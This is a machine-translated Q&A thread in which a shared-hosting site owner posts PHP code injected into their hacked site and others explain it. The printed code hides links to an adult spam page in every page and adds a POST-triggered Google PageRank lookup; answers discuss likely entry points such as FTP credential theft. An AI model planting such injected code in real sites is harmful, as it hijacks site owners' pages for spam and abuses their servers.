2011-02-09 6 views
4

私はgodaddy共有ホスティングを持っていて、サイトは壊れてしまった。誰が失敗した?サイトはPHPで作成されている人は、私のサイトでいくつかのvunerabilityを介して取得し、ファイルを変更することが可能ですか?それとも、サーバ側でゴダディが十分に安全ではないということですか?私のサイトが壊れてしまった。共有ホスティングで自分を守る方法は?

これはファイルに注入されたものです。それは何をするためのものか?

<?php 
//{{1311051f 

GLOBAL $alreadyxxx; 
if($alreadyxxx != 1) 
{ 
$alreadyxxx = 1; 

$olderrxxx=error_reporting(0); 

function outputxxx_callback($str) 
{ 
    $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805"><a href="http://www.wcvi.org/community_development/ecogardners/fresh/blow-jobs-teen/blow-jobs-teen.html">blow jobs teen</a><br></div></SPAN>'; 
    preg_match("|</body>|si",$str,$arr); 
    return str_replace($arr[0],$links.$arr[0],$str); 
} 

function StrToNum($Str, $Check, $Magic) 
{ 
    $Int32Unit = 4294967296; 
    $length = strlen($Str); 
    for ($i = 0; $i < $length; $i++) { 
     $Check *= $Magic; 
     if ($Check >= $Int32Unit) { 
      $Check = ($Check - $Int32Unit * (int) ($Check/$Int32Unit)); 
      $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check; 
     } 
     $Check += ord($Str{$i}); 
    } 
    return $Check; 
} 
function HashURL($String) 
{ 
    $Check1 = StrToNum($String, 0x1505, 0x21); 
    $Check2 = StrToNum($String, 0, 0x1003F); 

    $Check1 >>= 2; 
    $Check1 = (($Check1 >> 4) & 0x3FFFFC0) | ($Check1 & 0x3F); 
    $Check1 = (($Check1 >> 4) & 0x3FFC00) | ($Check1 & 0x3FF); 
    $Check1 = (($Check1 >> 4) & 0x3C000) | ($Check1 & 0x3FFF); 

    $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2) | ($Check2 & 0xF0F); 
    $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000); 

    return ($T1 | $T2); 
} 

function CheckHash($Hashnum) 
{ 
    $CheckByte = 0; 
    $Flag = 0; 

    $HashStr = sprintf('%u', $Hashnum) ; 
    $length = strlen($HashStr); 

    for ($i = $length-1; $i >= 0; $i--) { 
     $Re = $HashStr{$i}; 
     if (1 === ($Flag % 2)) { 
      $Re += $Re; 
      $Re = (int)($Re/10) + ($Re % 10); 
     } 
     $CheckByte += $Re; 
     $Flag ++; 
    } 

    $CheckByte %= 10; 
    if (0 !== $CheckByte) { 
     $CheckByte = 10 - $CheckByte; 
     if (1 === ($Flag % 2)) { 
      if (1 === ($CheckByte % 2)) { 
       $CheckByte += 9; 
      } 
      $CheckByte >>= 1; 
     } 
    } 

    return '7'.$CheckByte.$HashStr; 
} 

function getpr($url) 
{ 
    $ch = CheckHash(HashURL($url)); 
    $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";; 
    $data = file_get_contents($file); 
    $pos = strpos($data, "Rank_"); 
    if($pos === false){return -1;} else{ 
     $pr=substr($data, $pos + 9); 
     $pr=trim($pr); 
     $pr=str_replace(" 
",'',$pr); 
     return $pr; 
    } 
} 

if(isset($_POST['xxxprch'])) 
{ 
    echo getpr($_POST['xxxprch']); 
    exit(); 
} 
else 
    ob_start('outputxxx_callback'); 

error_reporting($olderrxxx); 
} 

//}}75671d8f 
?> 
+0

攻撃ペイロードの唯一のファイルですか? –

+0

はい、すべて私が見つけることができます。 –

答えて

-7

私はこれを嫌うが、あなたは間違っている。 SQL/HTML/JS /コードインジェクションはあなたの責任です。また、強力なパスワードを選択することも重要です。誰もが脆弱性を見つけて何かを行うことは全く可能です。

コードが何らかの理由でリンクを挿入して何らかの形でGoogleページのランクを取得しているようです。

私はそれが実用的なプログラマの原則の一つに該当すると思う:

``「」選択がを壊れていないことは、OSやコンパイラのバグを見つける に稀であり、 かサードパーティの製品であっても、 ライブラリであってもかまいません。バグは アプリケーションで発生する可能性が最も高いです。

OS /コンパイラ/サードパーティライブラリを共有ホスティングに置き換えます。

+0

コンテンツはSQLと対話しなくても、thourhg sql injection my siteは変更できますか? –

+1

あなたは自分のWebアプリケーションからSQL /コードインジェクションの結論にジャンプできますか?投稿の内容は、彼のせいであることを示していますか?統計を除けば、私はこの結論に混乱しています。 – ircmaxell

+0

@ircmaxell - SQL /コードインジェクションは、ほとんど常にアプリケーションの障害です。 –

9

あなたのサイトで使用しているパッケージ(phpBB、phpNukeなど)から悪用された可能性があります。人々は脆弱なホストを探してWebをクロールし、可能なものを悪用します。このコードはオープンソースですぐに入手できるので、最新バージョンを使用する以外の方法で保護することはあまりありません。

のような企業では、 "スクリプトの児童"がPoC(Proof of Concept)スクリプトを見つけやすくなり、できるだけあらゆるサイトで試してみることができます。潜在的なターゲットのリストを見つけるには、crafted google queryと同じくらい簡単です。

ログにGET URLが含まれている可能性がありますが、悪用された可能性がありますが、可能な限り最新のままにしておくことをおすすめします。サイトのバックアップが可能です。

+0

これは最も可能性の高いシナリオのようです。 – jsight

+0

私はサードパーティーを使っていませんでした。サイトはゼロから作られます –

+0

あなたのサイトに行き、すべての潜在的なGETとPOST変数がチェックされ、確認されていることを確認してください。 '

'を探しているWebサイトをクロールするだけで、何らかの入力フィールドに悪質なコードを挿入して、何か疎遠になることを望んでいる人もいます。 –

0

このスクリプトでは、変数xxxprchを使用してスクリプトにURLを指定することができます。 URLのハッシュをチェックして、それが何らかの標準に準拠していることを確認し、URLをgoogleで検索します。次に、検索結果に "rank_"という単語があるかどうかを調べ、 "rank_"の次の9文字を取得してユーザーの画面に表示します。

ユーザーがxxxprchに変数を指定しなかった場合は、自動的に性的に明示的なウェブサイトへのリンクをページに書き出します。

注:バーチャルプライベートサーバ(月額3ドル安い)を入手すると、mod_securityをインストールすることでこれらの種類の攻撃を防ぐことができます。一方、OSを最新の状態に保つ必要があります。

1

このハックに本物はここにある:http://frazierit.com/blog/?p=103

んがSQLインジェクションは、何の秘密のソースは、これらの人は、ワイヤを聞いていなかった、またはあなたが自分の道をキーストローク渡して使用する一部のマシン上のエージェントがあり、あなたのサイトで作業するためにクリアテキストのパスワードFTPを使用していました。彼らはあなたのサイトへのFTPアクセスを取得し、あなたのサイトの.phpおよび.htmlページにコードを体系的に注入しました。彼らは多数のISPを通じてページランキングテスターの分散ネットワークを構築/構築しています。おそらくSEOの操作を検証する。簡単に、ちょうどいくつかのコマンドラインの正規表現の仕事に行く必要があります。

-Drew

関連する問題